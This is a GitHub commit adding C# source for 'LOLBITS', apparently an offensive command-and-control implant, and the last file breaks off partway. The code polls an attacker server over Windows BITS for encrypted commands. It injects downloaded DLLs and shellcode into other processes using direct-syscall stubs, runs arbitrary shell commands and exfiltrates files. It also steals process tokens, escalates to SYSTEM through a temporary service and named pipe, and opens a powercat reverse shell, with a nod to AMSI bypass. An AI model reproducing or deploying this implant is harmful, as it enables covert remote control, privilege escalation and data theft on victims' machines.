Added syscall for OpenProcess

This commit is contained in:
Kurosh Dabbagh Escalante
2020-02-02 19:51:25 +01:00
committed by GitHub
parent 3b4ce49595
commit 04b517d80b
11 changed files with 1854 additions and 0 deletions
+9
View File
@@ -0,0 +1,9 @@
namespace LOLBITS.Controlling
{
public class Content
{
public string NextId { get; set; }
public string NextAuth { get; set; }
public string[] Commands { get; set; }
}
}
+441
View File
@@ -0,0 +1,441 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Management;
using System.Reflection;
using System.Text;
using System.Threading;
using LOLBITS.Loading;
using LOLBITS.TokenManagement;
using Newtonsoft.Json;
using BITS4 = BITSReference4_0;
namespace LOLBITS.Controlling
{
public class Controller
{
private const string ContId = "7061796c676164";
private readonly string _p;
private string _id;
private string _auth;
private string[] _restoreKeys;
private readonly string _tempPath;
private readonly TokenManager _tokenManager;
private readonly Jobs _jobsManager;
private readonly SysCallManager _sysCall;
public Controller(string id, string url,string password)
{
_id = id;
_p = password;
_jobsManager = new Jobs(url);
_sysCall = new SysCallManager();
_tokenManager = new TokenManager(_sysCall);
_tempPath = Environment.GetEnvironmentVariable("temp") ?? @"C:\Windows\Temp\";
}
public string GetPassword()
{
return _p;
}
public void Start()
{
const string startBits = "sc start BITS";
Utils.ExecuteCommand(startBits);
Thread.Sleep(500);
var filePath = _tempPath + @"\" + _id;
if (!TryInitialCon(filePath)) return;
var file = GetEncryptedFileContent(filePath, out var unused);
_id = file.NextId;
_auth = file.NextAuth;
_restoreKeys = file.Commands;
var domain = Environment.GetEnvironmentVariable("userdomain");
var user = Environment.GetEnvironmentVariable("username");
var response = new Response(domain + @"\" + user, _auth);
filePath = _tempPath + @"\" + _id + ".txt";
EncryptResponseIntoFile(filePath, response);
_jobsManager.Send(_id, filePath);
Loop();
/*Rectangle bounds = Screen.GetBounds(Point.Empty);
using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height))
{
using (Graphics g = Graphics.FromImage(bitmap))
{
g.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
}
bitmap.Save(@"c:\users\pccom\desktop\test.jpg", ImageFormat.Jpeg);
}*/
}
private void Loop()
{
var exit = false;
while (!exit)
{
var filePath = _tempPath + @"\" + _id;
var headers = "reqId: " + _auth;
Console.WriteLine("next: " + _id);
if (_jobsManager.Get(_id, filePath, headers, BITS4.BG_JOB_PRIORITY.BG_JOB_PRIORITY_NORMAL))
{
var file = GetEncryptedFileContent(filePath, out var unused);
_id = file.NextId;
_auth = file.NextAuth;
Console.WriteLine("Id: " + _id);
Console.WriteLine("Auth: " + _auth);
if (file.Commands.Length > 0)
DoSomething(file);
Thread.Sleep(1000);
}
else
{
if (_restoreKeys.Length > 0)
{
_auth = _restoreKeys[_restoreKeys.Length - 1];
Array.Resize(ref _restoreKeys,_restoreKeys.Length - 1);
}
else
exit = true;
}
}
}
private void DoSomething(Content file)
{
var rps = "";
try
{
switch (file.Commands[0])
{
case "inject_dll":
{
var fileP = _tempPath + @"\" + _id;
var headers = "reqId: " + _auth + "\r\ncontid: " + ContId;
if (_jobsManager.Get(_id, fileP, headers, BITS4.BG_JOB_PRIORITY.BG_JOB_PRIORITY_FOREGROUND))
{
try
{
var dll = LoadDll(fileP);
var method = file.Commands[1];
var args = "";
for (var i = 2; i < file.Commands.Length; i++)
{
args += file.Commands[i];
if (i < file.Commands.Length)
args += " ";
}
var arguments = new string[] { args };
LauncherDll.Main(method, arguments, dll);
rps = "Dll injected!";
}
catch (Exception)
{
rps = "ERR:Fatal error occurred while trying to inject the dll.\n";
}
}
else
{
rps = "ERR:Dll not found!\n";
}
break;
}
case "inject_shellcode":
{
var fileP = _tempPath + @"\" + _id;
var headers = "reqId: " + _auth + "\r\ncontid: " + ContId;
var pid = -1;
if (file.Commands.Length >= 2)
pid = int.Parse(file.Commands[1]);
if (_jobsManager.Get(_id, fileP, headers, BITS4.BG_JOB_PRIORITY.BG_JOB_PRIORITY_FOREGROUND))
{
byte[] sh;
GetEncryptedFileContent(fileP, out sh);
try
{
LauncherShellCode.Main(sh, _sysCall, pid);
rps = "Shellcode injected!\n";
}
catch (Exception)
{
rps = "ERR:Fatal error occurred while trying to inject shellCode.\n";
}
}
else
{
rps = "ERR:Shellcode file not found!\n";
}
break;
}
case "powershell":
{
rps = Utils.ExecuteCommand("powershell -V 2 /C Write-Host hi");
if (rps.Contains("hi"))
{
LauncherPowershell.Main(file.Commands[1], file.Commands[2]);
rps = "You should have your Powershell at " + file.Commands[1] + ":" + file.Commands[2] + "!\n";
}
else
{
rps = "Version 2 of Powershell not available. Try injecting EvilSalsa by CyberVaca in order to use powershell without am" + "si.\n";
}
break;
}
case "send":
{
var fileP = _tempPath + @"\" + _id;
var headers = "reqId: " + _auth + "\r\ncontid: " + ContId;
if (_jobsManager.Get(_id, fileP, headers, BITS4.BG_JOB_PRIORITY.BG_JOB_PRIORITY_FOREGROUND))
{
File.Copy(fileP, file.Commands[1], true);
rps = "Dowload finished.\n";
}
else
{
rps = "ERR:Download failed!\n";
}
break;
}
case "exfiltrate":
{
if (File.Exists(file.Commands[1]))
{
if (_jobsManager.Send(file.Commands[2], file.Commands[1]))
{
rps = "Exfiltration succeed.\n";
}
else
rps = "ERR:Exfiltration failed!\n";
}
else
rps = "ERR:File to exfiltrate not found!\n";
break;
}
case "getsystem":
{
if (Utils.IsHighIntegrity(_sysCall))
rps = TokenManager.GetSystem() ? "We are System!\n" : "ERR:Process failed! Is this process running with high integrity level?\n";
else
rps = "ERR:Process failed! Is this process running with high integrity level?\n";
break;
}
case "rev2self":
{
TokenManager.Rev2Self();
rps = "Welcome back.\n";
break;
}
case "runas":
{
string user = "", domain = "", password = "";
var userData = file.Commands[1].Split('\\');
if (userData.Length == 1)
{
domain = ".";
user = userData[0];
}
else
{
domain = userData[0];
user = userData[1];
}
password = file.Commands[2];
rps = TokenManager.RunAs(domain, user, password) ? "Success!" : "ERR:Invalid credentials.";
break;
}
case "list":
{
rps = GetProcessInfo();
break;
}
case "impersonate":
{
try
{
if (_tokenManager.Impersonate(int.Parse(file.Commands[1])))
rps = "Impersonation achieved!\n";
else
rps = "ERR: Not enough privileges!\n";
}
catch
{
rps = "ERR: Impersonation failed!\n";
}
break;
}
case "exit":
{
Environment.Exit(0);
break;
}
default:
{
rps = Utils.ExecuteCommand(file.Commands[0]);
break;
}
}
}
catch
{
rps = "ERR: Something went wrong!";
}
var response = new Response(rps, _auth);
var filePath = _tempPath + @"\" + _id + ".txt";
EncryptResponseIntoFile(filePath, response);
TrySend(filePath);
}
private static string GetProcessInfo()
{
var output = "\n";
output = string.Concat(output, $"{"NAME",30}|{"PID",10}|{"ACCOUNT",20}|\n");
foreach (var process in Process.GetProcesses())
{
var name = process.ProcessName;
var processId = process.Id;
output = string.Concat(output, $"{name,30}|{processId,10}|{GetProcessOwner(processId),20}|\n");
}
return output;
}
private static string GetProcessOwner (int processId)
{
var query = "Select * From Win32_Process Where ProcessID = " + processId;
var moSearcher = new ManagementObjectSearcher(query);
var moCollection = moSearcher.Get();
foreach (var o in moCollection)
{
var mo = (ManagementObject) o;
var args = new string[] { string.Empty };
var returnVal = Convert.ToInt32(mo.InvokeMethod("GetOwner", args));
if (returnVal == 0)
return args[0];
}
return "UNKNOWN";
}
private bool TrySend(string filePath)
{
var cont = 0;
while (cont < 5)
{
if (_jobsManager.Send(_id, filePath))
return true;
++cont;
}
return false;
}
private bool TryInitialCon(string filePath)
{
var cont = 0;
while (cont < 5)
{
if(_jobsManager.Get(_id, filePath, null,BITS4.BG_JOB_PRIORITY.BG_JOB_PRIORITY_NORMAL))
return true;
++cont;
}
return false;
}
private void EncryptResponseIntoFile(string filePath, Response response)
{
var jsonResponse = JsonConvert.SerializeObject(response);
var contentDecrypted = Encoding.UTF8.GetBytes(jsonResponse);
var xKey = Encoding.ASCII.GetBytes(_p);
var contentEncrypted = Rc4.Encrypt(xKey, contentDecrypted);
var hexadecimal = BiteArrayToHex.Convert(contentEncrypted);
var fileContent = Zipper.Compress(hexadecimal);
File.WriteAllText(filePath, fileContent);
}
private Content GetEncryptedFileContent(string filePath, out byte[] decrypted)
{
var fileStr = File.ReadAllText(filePath);
var xKey = Encoding.ASCII.GetBytes(_p);
var hexadecimal = Zipper.Decompress(fileStr);
var contentEncrypted = StringHexToByteArray.Convert(hexadecimal);
var contentDecrypted = Rc4.Decrypt(xKey, contentEncrypted);
decrypted = contentDecrypted;
var contentEncoded = Encoding.UTF8.GetString(contentDecrypted);
try
{
var final = JsonConvert.DeserializeObject<Content>(contentEncoded);
return final;
}
catch
{
return null;
}
}
private Assembly LoadDll(string filePath)
{
var fileStr = File.ReadAllText(filePath);
var xKey = Encoding.ASCII.GetBytes(_p);
var hexadecimal = Zipper.Decompress(fileStr);
var contentEncrypted = StringHexToByteArray.Convert(hexadecimal);
var contentDecrypted = Rc4.Decrypt(xKey, contentEncrypted);
var dll = Assembly.Load(contentDecrypted);
return dll;
}
}
}
+33
View File
@@ -0,0 +1,33 @@
using System;
using System.Reflection;
using System.Threading;
namespace LOLBITS.Controlling
{
public class LauncherDll
{
public static void Main(string method, string[] arguments, Assembly dll)
{
var obj = new LauncherDll();
var thr1 = new Thread(ExecuteDllInMemory);
var a = new object []{ method, arguments, dll };
thr1.Start(a);
}
private static void ExecuteDllInMemory(object args)
{
var a = (object[])args;
var methodArgument = (string)a[0];
var arguments = (string[])a[1];
var dll = (Assembly)a[2];
var myType = dll.GetTypes()[0];
var method = myType.GetMethod(methodArgument);
var myInstance = Activator.CreateInstance(myType);
method?.Invoke(myInstance, new object[] { arguments });
}
}
}
+37
View File
@@ -0,0 +1,37 @@
using System;
using System.Management.Automation.Runspaces;
using System.Threading;
namespace LOLBITS.Controlling
{
public class LauncherPowershell
{
public static void Main(string ip, string port)
{
var obj = new LauncherPowershell();
var thr1 = new Thread(ExecutePowershell);
var a = new object[] {ip, port };
thr1.Start(a);
}
private static void ExecutePowershell(object args)
{
var a = (object[])args;
var ip = (string)a[0];
var port = (string)a[1];
var instance = new PowerShellProcessInstance(new Version(2, 0), null, null, false);
using (var rs = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0]), instance))
{
rs.Open();
var pipeline = rs.CreatePipeline();
pipeline.Commands.AddScript(PowerCat.PowerCatBase64());
pipeline.Commands.AddScript("powercat -c " + ip + " " + port + " -ep");
pipeline.Invoke();
}
}
}
}
+200
View File
@@ -0,0 +1,200 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace LOLBITS.Controlling
{
public class LauncherShellCode
{
[Flags]
public enum AllocationType : uint
{
Commit = 0x1000,
Reserve = 0x2000,
Reset = 0x80000,
LargePages = 0x20000000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000
}
[Flags]
public enum MemoryProtection : uint
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadwrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
Readonly = 0x02,
Readwrite = 0x04,
WriteCopy = 0x08,
GuardModifierFlag = 0x100,
NocacheModifierFlag = 0x200,
WriteCombineModifierFlag = 0x400
}
public enum FreeType : uint
{
MemDeCommit = 0x4000,
MemRelease = 0x8000
}
public unsafe struct MyBuffer32
{
public fixed char FixedBuffer[32];
}
[StructLayout(LayoutKind.Sequential)]
public unsafe struct Unknown32
{
public readonly uint Size;
public readonly uint Unknown1;
public readonly uint Unknown2;
public readonly MyBuffer32* Unknown3;
public readonly uint Unknown4;
public readonly uint Unknown5;
public readonly uint Unknown6;
public readonly MyBuffer32* Unknown7;
public readonly uint Unknown8;
}
public unsafe struct MyBuffer64
{
public fixed char FixedBuffer[64];
}
[StructLayout(LayoutKind.Sequential)]
public unsafe struct Unknown64
{
public long Size;
public long Unknown1;
public long Unknown2;
public MyBuffer64* UnknownPtr;
public long Unknown3;
public long Unknown4;
public long Unknown5;
public MyBuffer64* UnknownPtr2;
public long Unknown6;
}
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType lAllocationType, MemoryProtection flProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate int NtAllocateVirtualMemory(IntPtr processHandle, out IntPtr baseAddress, uint zeroBits, out UIntPtr regionSize, AllocationType allocationType, MemoryProtection protect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate int NtWriteVirtualMemory(IntPtr processHandle, IntPtr address, byte[] buffer, UIntPtr size, IntPtr bytesWrittenBuffer);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
internal delegate int NtCreateThreadEx32(out IntPtr hThread, Int32 desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool createSuspended,
uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, out Unknown32 lpBytesBuffer);
[UnmanagedFunctionPointer(CallingConvention.StdCall)] //NtCreateThreadEx expect different kind of parameters for 32 and 64 bits procesess.
private delegate int NtCreateThreadEx64(out IntPtr hThread, long desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool createSuspended,
ulong stackZeroBits, ulong sizeOfStackCommit, ulong sizeOfStackReserve, out Unknown64 lpBytesBuffer);
public static void Main(byte[] shellCode, SysCallManager sysCall, int pid)
{
var obj = new LauncherShellCode();
var thr1 = new Thread(ExecuteShellCodeInMemory);
var a = new object[] { shellCode, sysCall, pid};
thr1.Start(a);
}
private static unsafe void ExecuteShellCodeInMemory(object args)
{
var parameterArguments = (object[])args;
var sc = (byte[]) parameterArguments[0];
var sysCall = (SysCallManager)parameterArguments[1];
var pid = (int)parameterArguments[2];
var handle = Process.GetCurrentProcess().Handle;
if(pid != -1)
{
var token = IntPtr.Zero;
Utils.GetProcessToken(Process.GetCurrentProcess().Handle, Utils.TokenAccessFlags.TokenAdjustPrivileges, out token, sysCall);
var l = new List<string>();
l.Add("SeDebugPrivilege");
Utils.EnablePrivileges(token, l);
Utils.GetProcessHandle(pid, out handle, Utils.ProcessAccessFlags.CreateThread | Utils.ProcessAccessFlags.QueryInformation |
Utils.ProcessAccessFlags.VirtualMemoryOperation | Utils.ProcessAccessFlags.VirtualMemoryWrite | Utils.ProcessAccessFlags.VirtualMemoryRead, sysCall);
}
try
{
var baseAddress = IntPtr.Zero;
var shellCode = sysCall.GetSysCallAsm("NtAllocateVirtualMemory");
var shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr) shellCode.Length,
AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadwrite);
Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
var sysCallDelegate =
Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtAllocateVirtualMemory));
var arguments = new object[]
{
handle, baseAddress, (uint) 0, (UIntPtr) (sc.Length + 1),
AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadwrite
};
var returnValue = sysCallDelegate.DynamicInvoke(arguments);
if ((int) returnValue != 0) return;
baseAddress = (IntPtr) arguments[1]; //required!
shellCode = sysCall.GetSysCallAsm("NtWriteVirtualMemory");
shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr) shellCode.Length,
AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadwrite);
Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtWriteVirtualMemory));
arguments = new object[] {handle, baseAddress, sc, (UIntPtr) (sc.Length + 1), IntPtr.Zero};
returnValue = sysCallDelegate.DynamicInvoke(arguments);
baseAddress = (IntPtr) arguments[1];
if ((int) returnValue != 0) return;
var a = new MyBuffer64();
var b = new MyBuffer64();
var u = new Unknown64();
u.Size = (uint) Marshal.SizeOf(u);
u.Unknown1 = 65539;
u.Unknown2 = 16;
u.UnknownPtr = &a;
u.Unknown4 = 65540;
u.Unknown5 = 8;
u.Unknown6 = 0;
u.UnknownPtr2 = &b;
u.Unknown3 = 0;
shellCode = sysCall.GetSysCallAsm("NtCreateThreadEx");
shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr) shellCode.Length,
AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadwrite);
Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtCreateThreadEx64));
arguments = new object[]
{
IntPtr.Zero, 0x001FFFFF, IntPtr.Zero, handle, baseAddress, IntPtr.Zero, false, (ulong) 0, (ulong) 0,
(ulong) 0, u
};
returnValue = sysCallDelegate.DynamicInvoke(arguments);
}
catch
{
}
}
}
}
File diff suppressed because one or more lines are too long
+14
View File
@@ -0,0 +1,14 @@
namespace LOLBITS.Controlling
{
public class Response
{
public Response(string output, string reqId)
{
Output = output;
ReqId = reqId;
}
public string Output { get; set; }
public string ReqId { get; set; }
}
}
+234
View File
@@ -0,0 +1,234 @@
using System;
using System.Collections.Generic;
namespace LOLBITS
{
public class SysCallManager
{
private readonly Dictionary<string, Dictionary<string, int>> _dicWinServer2008 = new Dictionary<string, Dictionary<string, int>>();
private readonly Dictionary<string, Dictionary<string, int>> _dicWinServer2012 = new Dictionary<string, Dictionary<string, int>>();
private readonly Dictionary<string, Dictionary<string, int>> _dicWin7 = new Dictionary<string, Dictionary<string, int>>();
private readonly Dictionary<string, Dictionary<string, int>> _dicWin8 = new Dictionary<string, Dictionary<string, int>>();
private readonly Dictionary<string, Dictionary<string, int>> _dicWin10 = new Dictionary<string, Dictionary<string, int>>();
private readonly byte[] _shellCode = {
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, 0x00 <- (sysCall identifier)
0x0F, 0x05, // sysCall
0xC3 // ret
};
public SysCallManager()
{
/////////////NtAllocateVirtualMemory
var val2008 = new Dictionary<string, int>();
var val2012 = new Dictionary<string, int>();
var val7 = new Dictionary<string, int>();
var val8 = new Dictionary<string, int>();
var val10 = new Dictionary<string, int>();
val2008.Add("UNIQUE", 0x0015);
val2012.Add("SP0", 0x0016);
val2012.Add("R2", 0x0017);
val7.Add("UNIQUE", 0x0015);
val8.Add("8.0", 0x0016);
val8.Add("8.1", 0x0017);
val10.Add("UNIQUE", 0x0018);
_dicWinServer2008.Add("NtAllocateVirtualMemory", val2008);
_dicWinServer2012.Add("NtAllocateVirtualMemory", val2012);
_dicWin7.Add("NtAllocateVirtualMemory", val7);
_dicWin8.Add("NtAllocateVirtualMemory", val8);
_dicWin10.Add("NtAllocateVirtualMemory", val10);
/////////////NtWriteVirtualMemory
val2008 = new Dictionary<string, int>();
val2012 = new Dictionary<string, int>();
val7 = new Dictionary<string, int>();
val8 = new Dictionary<string, int>();
val10 = new Dictionary<string, int>();
val2008.Add("UNIQUE", 0x0037);
val2012.Add("SP0", 0x0038);
val2012.Add("R2", 0x0039);
val7.Add("UNIQUE", 0x0037);
val8.Add("8.0", 0x0038);
val8.Add("8.1", 0x0039);
val10.Add("UNIQUE", 0x003A);
_dicWinServer2008.Add("NtWriteVirtualMemory", val2008);
_dicWinServer2012.Add("NtWriteVirtualMemory", val2012);
_dicWin7.Add("NtWriteVirtualMemory", val7);
_dicWin8.Add("NtWriteVirtualMemory", val8);
_dicWin10.Add("NtWriteVirtualMemory", val10);
/////////////NtCreateThreadEx
val2008 = new Dictionary<string, int>();
val2012 = new Dictionary<string, int>();
val7 = new Dictionary<string, int>();
val8 = new Dictionary<string, int>();
val10 = new Dictionary<string, int>();
val2008.Add("UNIQUE", 0x00A5);
val2012.Add("SP0", 0x00AF);
val2012.Add("R2", 0x00B0);
val7.Add("UNIQUE", 0x00A5);
val8.Add("8.0", 0x00AF);
val8.Add("8.1", 0x00B0);
val10.Add("1507", 0x00B3);
val10.Add("1511", 0x00B4);
val10.Add("1607", 0x00B6);
val10.Add("1703", 0x00B9);
val10.Add("1709", 0x00BA);
val10.Add("1803", 0x00BB);
val10.Add("1809", 0x00BC);
val10.Add("1903", 0x00BD);
val10.Add("1909", 0x00BD);
_dicWinServer2008.Add("NtCreateThreadEx", val2008);
_dicWinServer2012.Add("NtCreateThreadEx", val2012);
_dicWin7.Add("NtCreateThreadEx", val7);
_dicWin8.Add("NtCreateThreadEx", val8);
_dicWin10.Add("NtCreateThreadEx", val10);
/////////////NtOpenProcess
val2008 = new Dictionary<string, int>();
val2012 = new Dictionary<string, int>();
val7 = new Dictionary<string, int>();
val8 = new Dictionary<string, int>();
val10 = new Dictionary<string, int>();
val2008.Add("UNIQUE", 0x0023);
val2012.Add("SP0", 0x0024);
val2012.Add("R2", 0x0025);
val7.Add("UNIQUE", 0x0023);
val8.Add("8.0", 0x0024);
val8.Add("8.1", 0x0025);
val10.Add("UNIQUE", 0x0026);
_dicWinServer2008.Add("NtOpenProcess", val2008);
_dicWinServer2012.Add("NtOpenProcess", val2012);
_dicWin7.Add("NtOpenProcess", val7);
_dicWin8.Add("NtOpenProcess", val8);
_dicWin10.Add("NtOpenProcess", val10);
/////////////NtOpenProcessToken
val2008 = new Dictionary<string, int>();
val2012 = new Dictionary<string, int>();
val7 = new Dictionary<string, int>();
val8 = new Dictionary<string, int>();
val10 = new Dictionary<string, int>();
val2008.Add("SP0", 0x00F3);
val2008.Add("SP2", 0x00F3);
val2008.Add("R2", 0x00F9);
val2008.Add("R2 SP1", 0x00F9);
val2012.Add("SP0", 0x010B);
val2012.Add("R2", 0x010E);
val7.Add("UNIQUE", 0x00F9);
val8.Add("8.0", 0x010B);
val8.Add("8.1", 0x010E);
val10.Add("1507", 0x0114);
val10.Add("1511", 0x0117);
val10.Add("1607", 0x0119);
val10.Add("1703", 0x011D);
val10.Add("1709", 0x011F);
val10.Add("1803", 0x0121);
val10.Add("1809", 0x0122);
val10.Add("1903", 0x0123);
val10.Add("1909", 0x0123);
_dicWinServer2008.Add("NtOpenProcessToken", val2008);
_dicWinServer2012.Add("NtOpenProcessToken", val2012);
_dicWin7.Add("NtOpenProcessToken", val7);
_dicWin8.Add("NtOpenProcessToken", val8);
_dicWin10.Add("NtOpenProcessToken", val10);
/////////////NtAdjustPrivilegesToken
val2008 = new Dictionary<string, int>();
val2012 = new Dictionary<string, int>();
val7 = new Dictionary<string, int>();
val8 = new Dictionary<string, int>();
val10 = new Dictionary<string, int>();
val2008.Add("UNIQUE", 0x003E);
val2012.Add("SP0", 0x003F);
val2012.Add("R2", 0x0040);
val7.Add("UNIQUE", 0x003E);
val8.Add("8.0", 0x003F);
val8.Add("8.1", 0x0040);
val10.Add("UNIQUE", 0x0041);
_dicWinServer2008.Add("NtAdjustPrivilegesToken", val2008);
_dicWinServer2012.Add("NtAdjustPrivilegesToken", val2012);
_dicWin7.Add("NtAdjustPrivilegesToken", val7);
_dicWin8.Add("NtAdjustPrivilegesToken", val8);
_dicWin10.Add("NtAdjustPrivilegesToken", val10);
}
public byte[] GetSysCallAsm(string functionName)
{
const string subKey = @"SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion";
var key = Microsoft.Win32.Registry.LocalMachine;
var sKey = key.OpenSubKey(subKey);
var product = sKey?.GetValue("ProductName").ToString();
var release = sKey?.GetValue("ReleaseId").ToString();
var ver = product?.Split(' ');
Dictionary<string, Dictionary<string, int>> dict = null;
if(ver?[1] == "Server")
{
switch (ver[2]){
case "2008": { dict = _dicWinServer2008; break; }
case "2012": { dict = _dicWinServer2012; break; }
case "2016": { dict = _dicWin10; break; } //syscall tables for windows server 2016 and 2019 are equivalent to that of windows 10.
case "2019": { dict = _dicWin10; break; }
default: { return null; }
}
}
else
{
switch (ver?[1])
{
case "7": { dict = _dicWin7; break; }
case "8": { dict = _dicWin8; break; }
case "10": { dict = _dicWin10; break; }
default: { return null; }
}
}
var funcName = dict[functionName];
var sysCallValue = funcName.ContainsKey("UNIQUE") ? funcName["UNIQUE"] : funcName[release];
var copy = _shellCode;
var sysCallIdentifierBytes = BitConverter.GetBytes(sysCallValue);
Buffer.BlockCopy(sysCallIdentifierBytes, 0, copy, 4, sizeof(uint));
return copy;
}
}
}
+47
View File
@@ -0,0 +1,47 @@
using System;
using System.IO;
using System.Text;
namespace LOLBITS.TokenManagement
{
/// <summary>
/// Defines the data protocol for reading and writing strings on our stream.
/// </summary>
public class StreamString
{
private readonly Stream ioStream;
private readonly UnicodeEncoding streamEncoding;
public StreamString(Stream ioStream)
{
this.ioStream = ioStream;
streamEncoding = new UnicodeEncoding();
}
public string ReadString()
{
var len = ioStream.ReadByte() * 256;
len += ioStream.ReadByte();
var inBuffer = new byte[len];
ioStream.Read(inBuffer, 0, len);
return streamEncoding.GetString(inBuffer);
}
public int WriteString(string outString)
{
var outBuffer = streamEncoding.GetBytes(outString);
var len = outBuffer.Length;
if (len > ushort.MaxValue)
len = ushort.MaxValue;
ioStream.WriteByte((byte)(len / 256));
ioStream.WriteByte((byte)(len & 255));
ioStream.Write(outBuffer, 0, len);
ioStream.Flush();
return outBuffer.Length + 2;
}
}
}
+174
View File
@@ -0,0 +1,174 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO.Pipes;
using System.Runtime.InteropServices;
using System.Threading;
namespace LOLBITS.TokenManagement
{
public class TokenManager
{
public static IntPtr Token;
public static int Method; // 1 = CreateProcessAsUser ; 2 = CreateProcessWithToken ; RunAs with valid credentials
public static readonly string[] Credentials = new string[3]; // 1 = Username ; 2 = Domain ('.' for local) ; 3 = Password
private static string _pipeName;
private const int NumThreads = 1;
private readonly SysCallManager sysCall;
public TokenManager(SysCallManager sysCall)
{
Token = IntPtr.Zero;
Method = 0;
this.sysCall = sysCall;
}
public static void Rev2Self()
{
Token = IntPtr.Zero;
Method = 0;
}
public bool Impersonate (int pid)
{
var privileges = new List<string>
{
"SeDebugPrivilege",
"SeImpersonatePrivilege",
"SeTcbPrivilege",
"SeAssignPrimaryTokenPrivilege",
"SeIncreaseQuotaPrivilege"
};
try
{
Utils.GetProcessToken(Process.GetCurrentProcess().Handle, Utils.TokenAccessFlags.TokenAdjustPrivileges,
out var token, sysCall);
Utils.EnablePrivileges(token, privileges);
Utils.GetProcessHandle(pid, out var handlePointer, Utils.ProcessAccessFlags.QueryInformation, sysCall);
Utils.GetProcessToken(handlePointer, Utils.TokenAccessFlags.TokenDuplicate, out var tokenPointer,
sysCall);
Utils.CloseHandle(handlePointer);
if (tokenPointer == IntPtr.Zero) return false;
var tokenAccess =
Utils.TokenAccessFlags.TokenQuery | Utils.TokenAccessFlags.TokenAssignPrimary |
Utils.TokenAccessFlags.TokenDuplicate | Utils.TokenAccessFlags.TokenAdjustDefault |
Utils.TokenAccessFlags.TokenAdjustSessionId;
Utils.DuplicateToken(tokenPointer, tokenAccess, Utils.SecurityImpersonationLevel.SecurityImpersonation,
Utils.TokenType.TokenPrimary, out var impToken);
if (impToken == IntPtr.Zero) return false;
var startupInfo = new Utils.StartupInfo();
startupInfo.cb = Marshal.SizeOf(startupInfo);
startupInfo.lpDesktop = "";
startupInfo.wShowWindow = 0;
startupInfo.dwFlags |= 0x00000001;
var processInfo = new Utils.ProcessInformation();
if (Method == 0)
{
try
{
Utils.DetermineImpersonationMethod(impToken, new Utils.LogonFlags(), startupInfo, out processInfo);
}
catch
{
return false;
}
}
if (Method != 0)
{
Token = impToken;
return true;
}
}
catch
{
}
return false;
}
public static bool GetSystem()
{
_pipeName = Jobs.RandomString(7);
var exit = false;
var server = new Thread(ServerThread);
var cmd = "sc create NewDefaultService2 binpath= \"c:\\windows\\system32\\cmd.exe /C echo data > \\\\.\\pipe\\" + _pipeName + "\"";
Utils.ExecuteCommand(cmd);
server.Start();
Thread.Sleep(250);
cmd = "sc start NewDefaultService2";
Utils.ExecuteCommand(cmd);
while (!exit)
{
if (server.Join(250))
exit = true;
}
if (Token != IntPtr.Zero)
return true;
cmd = "sc delete NewDefaultService2";
Utils.ExecuteCommand(cmd);
return false;
}
private static void ServerThread(object data)
{
var pipeServer = new NamedPipeServerStream(_pipeName, PipeDirection.InOut, NumThreads);
var threadId = Thread.CurrentThread.ManagedThreadId;
// Wait for a client to connect
pipeServer.WaitForConnection();
try
{
// Read the request from the client. Once the client has
// written to the pipe its security token will be available.
var ss = new StreamString(pipeServer);
var filename = ss.ReadString();
var fileReader = new Utils();
pipeServer.RunAsClient(Utils.Start);
// Catch the IOException that is raised if the pipe is broken
// or disconnected.
}
catch
{
}
finally
{
pipeServer.Close();
}
}
public static bool RunAs(string domain, string user, string password)
{
Utils.RunAs(domain, user, password);
return Method == 3;
}
}
}
+652
View File
@@ -0,0 +1,652 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using System.Threading;
using LOLBITS.TokenManagement;
namespace LOLBITS
{
public unsafe class Utils
{
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
public const int SECURITY_MANDATORY_UNTRUSTED_RID = (0x00000000);
public const int SECURITY_MANDATORY_LOW_RID = (0x00001000);
public const int SECURITY_MANDATORY_MEDIUM_RID = (0x00002000);
private const int SECURITY_MANDATORY_HIGH_RID = (0x00003000);
public const int SECURITY_MANDATORY_SYSTEM_RID = (0x00004000);
public const int SECURITY_MANDATORY_PROTECTED_PROCESS_RID = (0x00005000);
private const int AnySizeArray = 1;
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
